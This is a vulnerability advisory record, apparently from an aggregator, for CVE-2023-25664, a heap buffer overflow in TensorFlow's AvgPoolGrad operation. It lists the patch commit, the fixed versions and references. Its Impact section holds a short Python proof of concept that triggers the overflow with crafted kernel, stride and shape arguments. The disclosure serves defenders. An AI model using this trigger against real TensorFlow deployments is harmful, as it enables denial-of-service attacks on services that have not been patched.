{"id":"CVE-2023-25664","aliases":["BIT-tensorflow-2023-25664","GHSA-6hg6-5c2q-7rcr","PYSEC-2026-1951","PYSEC-2026-3122"],"url":"https://o3.security/vulnerability/CVE-2023-25664","summary":"TensorFlow vulnerable to Heap Buffer Overflow in AvgPoolGrad ","details":"### Impact\n```python\nimport os\nos.environ['TF_ENABLE_ONEDNN_OPTS'] = '0'\nimport tensorflow as tf\nprint(tf.__version__)\nwith tf.device(\"CPU\"):\n    ksize = [1, 40, 128, 1]\n    strides = [1, 128, 128, 30]\n    padding = \"SAME\"\n    data_format = \"NHWC\"\n    orig_input_shape = [11, 9, 78, 9]\n    grad = tf.saturate_cast(tf.random.uniform([16, 16, 16, 16], minval=-128, maxval=129, dtype=tf.int64), dtype=tf.float32)\n    res = tf.raw_ops.AvgPoolGrad(\n        ksize=ksize,\n        strides=strides,\n        padding=padding,\n        data_format=data_format,\n        orig_input_shape=orig_input_shape,\n        grad=grad,\n    )\n```\n\n### Patches\nWe have patched the issue in GitHub commit [ddaac2bdd099bec5d7923dea45276a7558217e5b](https://github.com/tensorflow/tensorflow/commit/ddaac2bdd099bec5d7923dea45276a7558217e5b).\n\nThe fix will be included in TensorFlow 2.12.0. We will also cherrypick this commit on TensorFlow 2.11.1\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by <evn@google.com>\n","published":"2023-03-24T23:40:40.590Z","modified":"2026-08-12T13:33:57.562122Z","cvss":{"score":7.5,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"PyPI","name":"tensorflow","fixedVersion":"2.11.1"},{"ecosystem":"PyPI","name":"tensorflow-cpu","fixedVersion":"2.11.1"}],"fix":{"url":"https://github.com/tensorflow/tensorflow/commit/ddaac2bdd099bec5d7923dea45276a7558217e5b","label":"tensorflow/tensorflow@ddaac2b"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2023/25xxx/CVE-2023-25664.json"},{"type":"ADVISORY","url":"https://github.com/tensorflow/tensorflow/security/advisories/GHSA-6hg6-5c2q-7rcr"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-25664"},{"type":"FIX","url":"https://github.com/tensorflow/tensorflow/commit/ddaac2bdd099bec5d7923dea45276a7558217e5b"},{"type":"PACKAGE","url":"https://github.com/tensorflow/tensorflow"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T13:33:57.562122Z"}}